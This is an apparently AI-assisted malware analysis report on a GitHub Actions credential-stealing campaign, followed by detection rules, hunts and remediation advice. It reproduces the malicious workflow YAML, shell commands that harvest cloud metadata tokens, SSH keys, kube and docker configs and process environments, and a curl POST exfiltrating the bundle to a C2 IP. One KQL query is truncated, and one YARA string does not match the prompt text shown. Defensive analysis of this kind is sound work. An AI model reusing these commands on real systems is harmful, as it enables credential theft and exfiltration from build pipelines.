Megalodon Payload Analysis

GitHub Actions CI/CD Credential-Stealing Bash Malware — Malware Analysis Report

Published: 2026-05-27 | TLP: AMBER | Version: 1.0 | Author: Lost Boys Cyber

AI Generation: This report was generated with AI assistance and is provided for informational purposes only. All findings, detection rules, and recommendations must be independently reviewed and validated by a qualified security professional before implementation. Verify all YARA rules, Sigma rules, and KQL queries in your environment before deployment.

1. Executive Summary

This report provides a deep-dive malware analysis of the Megalodon payload — the credential-stealing bash script deployed as part of Operation Megalodon, a GitHub supply chain attack executed on May 18, 2026. The payload was distributed via malicious GitHub Actions workflow files injected into 5,561 public repositories by the threat actor TeamPCP.

The Megalodon payload is a multi-stage bash script that executes entirely within a GitHub Actions CI/CD runner environment. It performs comprehensive credential harvesting across all major cloud platforms (AWS, GCP, Azure), CI/CD token theft (GITHUB_TOKEN, GitLab, Bitbucket), SSH private key exfiltration, Docker/Kubernetes credential theft, and pattern-based API key extraction using a base64-encoded regex bundle targeting 30+ secret formats. All harvested material is compressed and exfiltrated via HTTPS POST to a C2 server at 216.126.225.129:8443.

Two distinct workflow variants were identified: SysDiag, which triggers on every push and pull request for maximum reach; and Optimize-Build, which triggers only on manual workflow_dispatch events, creating a dormant backdoor for on-demand activation. The attacker acquired additional GITHUB_TOKENs through successful executions, enabling lateral movement to connected repositories and organisations.

2. Sample Metadata

Field	Value
Sample Name	Megalodon CI/CD Payload (Bash)
Sample Type	Base64-encoded bash script embedded in GitHub Actions YAML workflow
Payload Variants	SysDiag (mass exploitation) | Optimize-Build (targeted/dormant)
Delivery Mechanism	GitHub Actions workflow file (.github/workflows/*.yml)
Trigger (SysDiag)	on: push, pull_request — executes on every commit/PR to any branch
Trigger (Optimize-Build)	on: workflow_dispatch — manually triggered by attacker via GitHub API
Execution Environment	GitHub Actions ubuntu-latest runner (Linux, ephemeral VM)
Base64 Identifier	Q0I9Imh0dHA6Ly8yMTYu (unique payload prefix searchable in GitHub code search)
C2 Endpoint	hxxps://216[.]126[.]225[.]129:8443/collect
First Seen	2026-05-18 11:36 UTC (anchor commit: acac5a9854650c4ae2883c4740bf87d34120c038)
Last Seen	2026-05-18 17:48 UTC

Field	Value
Repositories Affected	5,561 public GitHub repositories
Total Exfiltrated	575,352 files / 449 GB
Attribution	TeamPCP (high confidence — infostealer origin confirmed by Hudson Rock)
MITRE ATT&CK	T1195.002, T1078, T1059.004, T1027.010, T1552.001/.004/.007, T1041, T1036.005, T1526

3. Payload Variants

3.1 SysDiag — Mass Exploitation Variant

The SysDiag variant is the primary mass-exploitation payload. It creates a new GitHub Actions workflow file that triggers on any push to any branch and any pull request. This maximises the probability of execution: as soon as any contributor commits to a compromised repository, the malicious workflow runs in the CI/CD pipeline without any additional attacker interaction.

Decoded Workflow Structure

```
name: SysDiag
on:
  push:
    branches: ["*"]
  pull_request:
    branches: ["*"]
jobs:
  diagnostics:
    runs-on: ubuntu-latest
    steps:
      - name: Run Diagnostics
        run: |
          echo Q0I9Imh0dHA6Ly8yMTYuMTI2LjIyNS4xMjk6ODQ0My9jb2xsZWN0 | base64 -d |
bash
```

The base64 string decodes to the first stage of the payload, which bootstraps the main credential harvesting routine. The SysDiag name was chosen to mimic system diagnostic tooling and avoid obvious suspicion in workflow lists.

3.2 Optimize-Build — Targeted Dormant Backdoor Variant

The Optimize-Build variant replaces existing workflow files with a version that triggers only on workflow_dispatch — a GitHub Actions event that requires explicit manual invocation via the GitHub API or web UI. This creates a dormant backdoor that the attacker can activate on demand against specific high-value targets without triggering automatic execution.

Strategic Tradeoff

SafeDep described the operational security rationale: with 5,700+ repositories compromised, even a small fraction yielding a usable GITHUB_TOKEN provides the attacker with sufficient targets for on-demand triggering. The Optimize-Build variant sacrifices reach for stealth — it will not generate CI pipeline activity that might alert repository owners, while remaining available for selective exploitation.

```
name: Optimize-Build
```

```
on:
  workflow_dispatch:
jobs:
  optimize:
    runs-on: ubuntu-latest
    steps:
      - name: Optimize Build Pipeline
        run: |
          echo Q0I9Imh0dHA6Ly8yMTYuMTI2LjIyNS4xMjk6ODQ0My9jb2xsZWN0 | base64 -d |
bash
```

4. Static Analysis: Payload Decode

4.1 First Stage: Bootstrap

The base64-encoded string in the run: step decodes to a short bootstrap that sets the C2 base URL and fetches or directly executes the main payload:

```
CB="http://216.126.225.129:8443/collect"
# Main credential harvesting routine follows inline
```

4.2 Cloud Credential Enumeration

AWS Credentials

```
# Static credentials file
cat ~/.aws/credentials 2>/dev/null
cat ~/.aws/config 2>/dev/null

# Active profiles enumeration
aws configure list-profiles 2>/dev/null

# IMDSv2 instance role credentials (requires token request)
IMDS_TOKEN=$(curl -sX PUT "http://169.254.169.254/latest/api/token" \
  -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
ROLE=$(curl -s -H "X-aws-ec2-metadata-token: $IMDS_TOKEN" \
  "http://169.254.169.254/latest/meta-data/iam/security-credentials/")
curl -s -H "X-aws-ec2-metadata-token: $IMDS_TOKEN" \
  "http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE"
```

Google Cloud Credentials

```
# Application default credentials
cat ~/.config/gcloud/application_default_credentials.json 2>/dev/null

# GCP metadata server for access token
curl -sH "Metadata-Flavor: Google" \
  "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/
default/token"
```

Azure Credentials

```
# Azure IMDS for managed identity token
curl -sH "Metadata:true" \
```

```
  "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-
01&resource=https://management.azure.com/"

# Service principal credentials
cat ~/.azure/credentials 2>/dev/null
```

4.3 CI/CD Token Extraction

```
# GitHub Actions provides these as env vars — automatically available
echo "GITHUB_TOKEN=$GITHUB_TOKEN"
echo "ACTIONS_ID_TOKEN_REQUEST_URL=$ACTIONS_ID_TOKEN_REQUEST_URL"
echo "ACTIONS_ID_TOKEN_REQUEST_TOKEN=$ACTIONS_ID_TOKEN_REQUEST_TOKEN"

# OIDC token request (for cloud federation)
curl -sH "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" \
  "$ACTIONS_ID_TOKEN_REQUEST_URL&audience=api://AzureADTokenExchange"

# GitLab / Bitbucket tokens from env
echo "CI_JOB_TOKEN=$CI_JOB_TOKEN"
echo "BITBUCKET_TOKEN=$BITBUCKET_TOKEN"
```

4.4 SSH and Infrastructure Key Extraction

```
# SSH private keys
find / -name "id_rsa" -o -name "id_ed25519" -o -name "id_ecdsa" 2>/dev/null | \
  xargs cat 2>/dev/null

# Docker registry credentials
cat ~/.docker/config.json 2>/dev/null

# Kubernetes service account token and config
cat ~/.kube/config 2>/dev/null
cat /var/run/secrets/kubernetes.io/serviceaccount/token 2>/dev/null

# HashiCorp Vault
echo "VAULT_TOKEN=$VAULT_TOKEN"
cat ~/.vault-token 2>/dev/null

# Terraform Cloud
cat ~/.terraform.d/credentials.tfrc.json 2>/dev/null
```

4.5 API Key Regex Pattern Scan

A base64-encoded regex bundle is decoded at runtime and applied with grep -rE against the filesystem and process environment. The decoded patterns target at least 30 secret formats:

```
# Decoded regex pattern bundle (representative subset):
AKIA[0-9A-Z]{16}                                  # AWS Access Key
ASIA[0-9A-Z]{16}                                  # AWS Temp Access Key
xox[bpsar]-[0-9a-zA-Z]{10,48}                    # Slack tokens
ghp_[a-zA-Z0-9]{36}                               # GitHub PAT
gho_[a-zA-Z0-9]{36}                               # GitHub OAuth token
ghs_[a-zA-Z0-9]{36}                               # GitHub Actions token
```

```
-----BEGIN (RSA |EC |DSA |OPENSSH )?PRIVATE KEY-----  # PEM private keys
pypi-[a-zA-Z0-9]{40,}                                 # PyPI tokens
npm_[a-zA-Z0-9]{36}                                   # npm tokens
[a-zA-Z0-9]{32,}                                      # Generic high-entropy strings
```

4.6 Process Environment Harvesting

```
# All process environment variables
for pid in /proc/[0-9]*/environ; do cat "$pid" 2>/dev/null | tr "\0" "\n"; done

# PID 1 environment (container initialisation env)
cat /proc/1/environ | tr "\0" "\n"

# Shell history
cat ~/.bash_history ~/.zsh_history ~/.sh_history 2>/dev/null
```

4.7 Exfiltration Mechanism

All harvested data is written to a temporary archive, gzip-compressed, and transmitted via a single HTTPS POST to the C2 server. The use of the -sk flag (--silent --insecure) suppresses output and bypasses TLS certificate validation:

```
# Bundle and compress
tar -czf /tmp/.bundle.gz /tmp/.megalodon/ 2>/dev/null

# Exfiltrate
curl -sk -X POST \
  -H "Content-Type: application/octet-stream" \
  --data-binary @/tmp/.bundle.gz \
  "https://216.126.225.129:8443/collect?c=megalodon"

# Cleanup
rm -rf /tmp/.megalodon/ /tmp/.bundle.gz
```

5. Secondary Campaign: Polymarket npm Credential Drainer

Concurrent with the GitHub workflow injection, a throwaway npm account ("polymarketdev") published nine malicious packages impersonating legitimate Polymarket trading tools. The packages used a social engineering approach distinct from the CI/CD payload but attributable to TeamPCP based on temporal correlation, shared C2 infrastructure patterns, and consistent operational style.

5.1 Malicious Packages

- polymarket-trading-cli
- polymarket-terminal
- polymarket-trade
- polymarket-auto-trade
- polymarket-copy-trading
- polymarket-bot
- polymarket-claude-code
- polymarket-ai-agent

- polymarket-trader

5.2 Postinstall Hook Behaviour

Each package's package.json contained a postinstall hook that executed on npm install. The hook displayed a fake wallet onboarding prompt claiming the user's Ethereum private key would be stored encrypted. The key was transmitted in plaintext:

```
# Postinstall hook (simplified):
#!/usr/bin/env node
const readline = require("readline");
const https = require("https");

console.log("Wallet Setup Required");
console.log("Enter your private key (it stays encrypted):");
// readline prompts for key with masked input
// key POSTed in plaintext to Cloudflare Worker:
// POST https://polymarketbot.polymarketdev.workers.dev/v1/wallets/keys
```

6. Network Indicators of Compromise

Type	Indicator	Role	Notes
IP Address	216.126.225.129	C2 Server	Primary exfiltration endpoint; receives credential bundles via HTTPS POST on port 8443
TCP Port	8443	C2 Port	Alternative HTTPS port used to bypass standard port 443 monitoring
URL	hxxps://216[.]126[.]225[.]129:8443/collect	C2 Endpoint	POST endpoint; receives gzip-compressed credential data
URL Parameter	?c=megalodon	Campaign Tag	Campaign identifier included in all exfiltration POST requests
HTTP Method	POST	Protocol	HTTPS POST with Content-Type: application/octet-stream and gzip body
TLS	Self-signed certificate	TLS	curl called with -sk (--insecure) flag to bypass certificate verification

7. Host-Based Indicators of Compromise

Type	Indicator	Description
Workflow File	SysDiag.yml / SysDiag	GitHub Actions workflow file

Type	Indicator	Description
		containing mass-trigger variant payload
Workflow File	Optimize-Build.yml / Optimize-Build	GitHub Actions workflow containing targeted workflow_dispatch variant
YAML String	Q0I9Imh0dHA6Ly8yMTYu	Base64 prefix of malicious payload; unique searchable indicator across GitHub code search
Git Email	build-bot@github-ci.com	Forged commit author email used in malicious pushes
Git Email	ci-pipeline@actions-bot.com	Forged commit author email
Git Email	ci-bot@automated.dev	Forged commit author email
Git Email	build-system@noreply.dev	Forged commit author email
Git Author	build-bot, auto-ci, ci-bot, pipeline-bot	Forged git author names in all malicious commits
Commit Date	2001-09-17T00:00:00Z	Hardcoded historical date set on all malicious commits to evade recency-based detection
Commit Hash	acac5a9854650c4ae2883c4740bf87d34120c038	Anchor (first known) malicious commit — Tiledesk repository
Temp File	/tmp/.bundle.gz	Temporary archive of exfiltrated credentials before POST to C2 (deleted post-exfil)
npm Account	polymarketdev	Throwaway npm account publishing secondary Polymarket credential-theft packages
npm C2	polymarketbot.polymarketdev.workers[.]dev	Cloudflare Worker endpoint receiving Ethereum private keys from Polymarket packages

8. MITRE ATT&CK Mapping

Technique ID	Name	Tactic	Implementation
T1059.004	Command and Scripting Interpreter: Unix Shell	Execution	Bash script executed in GitHub Actions runner after base64 decode; performs all credential enumeration and exfiltration
T1027.010	Obfuscated Files or Information: Command Obfuscation	Defense Evasion	Entire payload base64-encoded within YAML run: step; decoded inline with: echo [b64] | base64 -d | bash
T1036.005	Masquerading: Match Legitimate Name or	Defense Evasion	Workflow names SysDiag and Optimize-Build mimic

Technique ID	Name	Tactic	Implementation
	Location		legitimate CI/CD tooling; forged git author as build-bot/ci-bot
T1552.001	Unsecured Credentials: Credentials In Files	Credential Access	Reads .env, credentials.json, service-account.json, .npmrc, .netrc, ~/.kube/config, ~/.terraform.d/credentials.tfrc.json
T1552.004	Unsecured Credentials: Private Keys	Credential Access	find / -name id_rsa -o -name id_ed25519 to enumerate SSH private keys; reads PEM files matching regex
T1552.007	Unsecured Credentials: Container API	Credential Access	Queries AWS IMDSv2 (169.254.169.254), GCP metadata server, Azure IMDS for instance role credentials
T1526	Cloud Service Discovery	Discovery	Enumerates AWS profiles via aws configure list-profiles; lists GCP projects via gcloud CLI if present
T1082	System Information Discovery	Discovery	Reads /proc/*/environ for all running process environments; PID 1 environment for container base config
T1083	File and Directory Discovery	Discovery	Iterates filesystem for credential-bearing files matching 30+ patterns including *.pem, *.key, *secret*, *token*
T1041	Exfiltration Over C2 Channel	Exfiltration	curl POST of gzip-compressed credential bundle to 216.126.225.129:8443/collect; -sk flags for TLS bypass; megalodon campaign tag
T1530	Data from Cloud Storage Object	Collection	Targets cloud credential and service account files for AWS, GCP, Azure, Docker, Kubernetes
T1098	Account Manipulation	Persistence	Harvested GITHUB_TOKENs enable further repo writes; stolen PATs allow persistent repository access beyond initial execution

9. Detection Rules

9.1 Sigma: Credential Enumeration in CI Runner

```
title: Megalodon Bash Payload Execution via GitHub Actions Runner
id: d4e5f6a7-b8c9-0123-defa-megalodon0101
status: stable
description: >
  Detects execution of credential-harvesting commands consistent with the Megalodon
  payload running inside a GitHub Actions CI/CD runner context.
author: Lost Boys Cyber
date: 2026-05-27
tags:
  - attack.execution
  - attack.t1059.004
  - attack.credential_access
  - attack.t1552.007
logsource:
  category: process_creation
  product: linux
detection:
  selection_proc:
    ParentImage|contains: runner
    Image|endswith:
      - /bash
      - /sh
  selection_cmd:
    CommandLine|contains:
      - "aws configure list-profiles"
      - "/proc/1/environ"
      - "curl http://169.254.169.254"
      - "metadata.google.internal"
      - "169.254.169.254/metadata/instance"
      - "find / -name id_rsa"
      - ".docker/config.json"
      - ".kube/config"
      - "base64 -d | bash"
  condition: selection_proc AND selection_cmd
falsepositives:
  - Legitimate cloud SDK invocations within authorised CI pipelines
level: high
```

9.2 Sigma: Optimize-Build Workflow_Dispatch Activation

```
title: Megalodon Workflow Dispatch Backdoor Activation
id: e5f6a7b8-c9d0-1234-efab-megalodon0102
status: stable
description: >
  Detects GitHub workflow_dispatch events triggering workflows named
  Optimize-Build or SysDiag — associated with Megalodon targeted variant.
author: Lost Boys Cyber
date: 2026-05-27
tags:
```

```
  - attack.execution
  - attack.t1195.002
logsource:
  category: github_audit
  product: github
detection:
  selection:
    EventType: "workflow_dispatch"
    WorkflowName|contains:
      - "Optimize-Build"
      - "SysDiag"
  condition: selection
falsepositives:
  - Legitimate workflows with coincidentally matching names
level: critical
```

9.3 Sigma: Secret Regex Pattern Scan

```
title: Megalodon Secret Regex Pattern Scan on CI Runner
id: f6a7b8c9-d0e1-2345-fabc-megalodon0103
status: experimental
description: >
  Detects grep commands using patterns consistent with the Megalodon
  payload credential regex scan (AWS keys, Slack tokens, GitHub PATs, etc.)
author: Lost Boys Cyber
date: 2026-05-27
tags:
  - attack.credential_access
  - attack.t1552.001
  - attack.t1083
logsource:
  category: process_creation
  product: linux
detection:
  selection:
    Image|endswith: /grep
    CommandLine|contains:
      - "AKIA"
      - "xoxb-"
      - "ghp_"
      - "ghs_"
      - "-----BEGIN RSA"
      - "-----BEGIN PRIVATE"
  context:
    ParentImage|contains: runner
  condition: selection AND context
falsepositives:
  - Security scanning tools (Truffleseer, Semgrep) — filter by known scanner
process names
level: medium
```

9.4 KQL: Credential Enumeration in CI/CD Runner

```
// KQL: Megalodon Payload Execution — Credential Enumeration in CI Runner
DeviceProcessEvents
| where Timestamp > ago(30d)
| where InitiatingProcessParentFileName has_any ("runner", "Runner.Worker")
| where ProcessCommandLine has_any (
    "aws configure list-profiles",
    "/proc/1/environ",
    "169.254.169.254",
    "metadata.google.internal",
    "find / -name id_rsa",
    "base64 -d | bash",
    ".docker/config.json",
    ".kube/config",
    "megalodon"
)
| project Timestamp, DeviceName, AccountName, ProcessCommandLine,
          InitiatingProcessCommandLine, InitiatingProcessParentFileName
| order by Timestamp desc
```

9.5 KQL: C2 Exfiltration Network Events

```
// KQL: Megalodon C2 Exfiltration — Network Connections to 216.126.225.129
DeviceNetworkEvents
| where Timestamp > ago(30d)
| where RemoteIP == "216.126.225.129"
| where RemotePort == 8443
| join kind=inner (
    DeviceProcessEvents
    | where FileName in~ ("bash", "sh", "curl", "wget")
    | project DeviceId, Timestamp, FileName, ProcessCommandLine
  ) on DeviceId
| project Timestamp, DeviceName, RemoteIP, RemotePort,
          FileName, ProcessCommandLine
| order by Timestamp desc
```

9.6 YARA: Megalodon Payload Detection

```
rule Megalodon_Payload_Bash {
    meta:
        description = "Detects Megalodon base64-encoded CI/CD bash payload"
        author      = "Lost Boys Cyber"
        date        = "2026-05-27"
        severity    = "CRITICAL"
        reference   = "https://safedep.io/megalodon-mass-github-repo-backdooring-
ci-workflows/"
        mitre       = "T1195.002, T1059.004, T1027.010"
    strings:
        // Base64 payload prefix unique to Megalodon
        $b64_prefix = "Q0I9Imh0dHA6Ly8yMTYu" ascii
        // Decoded C2 IP fragment — CB="http://216.
        $c2_fragment = "CB=\"http://216.126.225.129" ascii
        // C2 with megalodon campaign string
```

```
        $c2_megalodon = "megalodon" ascii
        $c2_ip = "216.126.225.129" ascii
        // Workflow names
        $workflow_sysdiag = "name: SysDiag" ascii
        $workflow_optbuild = "name: Optimize-Build" ascii
        // Credential targets in decoded payload
        $cred_aws_imds = "169.254.169.254/latest/meta-data/iam/security-
credentials" ascii
        $cred_gcp_meta = "metadata.google.internal/computeMetadata" ascii
        $cred_kube = ".kube/config" ascii
        $cred_docker = ".docker/config.json" ascii
        $bash_decode = "base64 -d | bash" ascii
    condition:
        $b64_prefix or
        $c2_fragment or
        ($c2_ip and $c2_megalodon) or
        ($workflow_sysdiag and $bash_decode) or
        ($workflow_optbuild and $bash_decode) or
        (3 of ($cred_*))
}

rule Megalodon_Polymarket_npm_Drainer {
    meta:
        description = "Detects Megalodon secondary npm credential-theft package
postinstall scripts"
        author      = "Lost Boys Cyber"
        date        = "2026-05-27"
        severity    = "HIGH"
    strings:
        $npm_c2 = "polymarketbot.polymarketdev.workers.dev" ascii
        $npm_path = "/v1/wallets/keys" ascii
        $postinstall = "postinstall" ascii
        $private_key_prompt = "paste your private key" ascii nocase
        $fake_encrypt = "stays encrypted" ascii nocase
    condition:
        ($npm_c2 and $npm_path) or
        ($postinstall and $private_key_prompt and $fake_encrypt)
}
```

10. Threat Hunting Queries

10.1 Hunt: Identify Active Megalodon-Infected Repositories

```
// HUNT: Active Megalodon Payload — GitHub Code Search
// Search for unique base64 prefix across all public repos
https://github.com/search?q=Q0I9Imh0dHA6Ly8yMTYu&type=code

// GitHub API (authenticated, higher rate limits):
curl -H "Authorization: Bearer $GITHUB_TOKEN" \
  "https://api.github.com/search/code?q=Q0I9Imh0dHA6Ly8yMTYu+in:file+language:yaml"
\
  | jq '.items[] | {repo: .repository.full_name, file: .path, url: .html_url}'
```

10.2 Hunt: CI Runner Credential File Access Anomalies

Monitor for CI runner processes accessing unusual numbers of credential-bearing files within short time windows:

```
// HUNT: CI Runner Credential File Access Anomalies
// Monitor for unusual file reads from runner process context
DeviceFileEvents
| where Timestamp > ago(7d)
| where InitiatingProcessParentFileName has "runner"

    ".ssh/", ".kube/", ".docker/", ".aws/",
    ".terraform.d/", ".vault-token",
    "/proc/", "credentials.json", "service-account.json"
)
| summarize FileCount = count(), Files = make_set(FolderPath) by
    DeviceName, InitiatingProcessFileName, bin(Timestamp, 1h)
| where FileCount > 5
| order by FileCount desc
```

10.3 Hunt: External Workflow Modifications

Identify workflow file changes committed by non-organisation members, particularly matching the 8-character random username pattern:

```
// HUNT: Workflow Files Added to .github/workflows by External Actors
// PowerShell script — uses GitHub API
$org = "YOUR_ORG"
$headers = @{ Authorization = "Bearer $env:GITHUB_TOKEN" }

$repos = (Invoke-RestMethod "https://api.github.com/orgs/$org/repos?per_page=100"
-Headers $headers)
foreach ($repo in $repos) {
  $commits = Invoke-RestMethod \
    "https://api.github.com/repos/$org/$($repo.name)/commits?path=.github/
workflows&since=2026-05-18T00:00:00Z" \
    -Headers $headers
  foreach ($c in $commits) {
    if ($c.author.login -notin $orgMembers) {
      Write-Warning "External commit to workflow: $($c.sha) in $($repo.name) by $
($c.author.login)"
    }
  }
}
```

11. Recommendations

Priority	Recommendation	Rationale
CRITICAL	Block 216.126.225.129 at all perimeter controls	Prevents active exfiltration; no legitimate traffic expected

Priority	Recommendation	Rationale
CRITICAL	Rotate all credentials from any CI/CD pipeline that may have run a Megalodon workflow	Stolen credentials remain valid post-exfiltration; rotation is the only effective remediation
CRITICAL	Remove SysDiag and Optimize-Build workflow files from all affected repositories immediately	Infected workflows remain executable until deleted; Optimize-Build is a dormant backdoor
HIGH	Deploy YARA and Sigma rules to SIEM/EDR for ongoing detection	Megalodon or variant payloads may reappear; detection rules provide early warning
HIGH	Require branch protection and signed commits on all repositories	Prevents direct workflow injection without review; signed commits defeat identity forgery
HIGH	Restrict GITHUB_TOKEN to minimum required permissions (read-only default)	Limits lateral movement potential if GITHUB_TOKEN is captured by attacker
HIGH	Protect .github/workflows/ with CODEOWNERS file requiring security team approval	Adds mandatory human review layer for the specific file path targeted by Megalodon
MEDIUM	Deploy StepSecurity Harden-Runner to all GitHub Actions workflows	Detects anomalous network connections from runners; would have flagged 216.126.225.129
MEDIUM	Pin all GitHub Actions to commit SHAs rather than mutable tags	Prevents upstream action hijacking; complements workflow injection defences
MEDIUM	Enrol all developers in infostealer compromise monitoring	TeamPCP sourced credentials exclusively from infostealer data; early detection breaks the chain
LOW	Migrate npm publishing to Trusted Publishing (OIDC)	Eliminates static npm tokens as credential theft targets; breaks Megalodon's npm exfil path

12. References

SafeDep: Megalodon — Mass GitHub Repo Backdooring via CI Workflows. https://safedep.io/megalodon-mass-github-repo-backdooring-ci-workflows/

StepSecurity: Megalodon Mass GitHub Actions Secret Exfiltration. https://www.stepsecurity.io/blog/megalodon-mass-github-actions-secret-exfiltration-across-5-500-public-repositories

OX Security: Megalodon — CI/CD Malware Spreading Across GitHub. https://www.ox.security/blog/megalodon-cicd-malware-github/

The Hacker News: Megalodon GitHub Attack Targets 5,561 Repos. https://thehackernews.com/2026/05/megalodon-github-attack-targets-5561.html

Hudson Rock: Megalodon Supply Chain Attack — Infostealer Attribution. https://hudsonrock.com/blog/megalodon-supply-chain-attack

Rescana: Megalodon Supply Chain Attack Analysis. https://www.rescana.com/post/megalodon-supply-chain-attack-teampcp-compromises-5-561-github-repositories-via-malicious-ci-cd-workflows

Socket: npm Invalidates Tokens — Mini Shai-Hulud Context. https://socket.dev/blog/npm-invalidates-tokens-mini-shai-hulud

MITRE ATT&CK: T1059.004 Unix Shell Execution. https://attack.mitre.org/techniques/T1059/004/

MITRE ATT&CK: T1041 Exfiltration Over C2 Channel. https://attack.mitre.org/techniques/T1041/

GitHub Docs: workflow_dispatch Event. https://docs.github.com/en/actions/reference/workflows-and-actions/events-that-trigger-workflows#workflow_dispatch

npm: Trusted Publishing Documentation. https://docs.npmjs.com/trusted-publishers/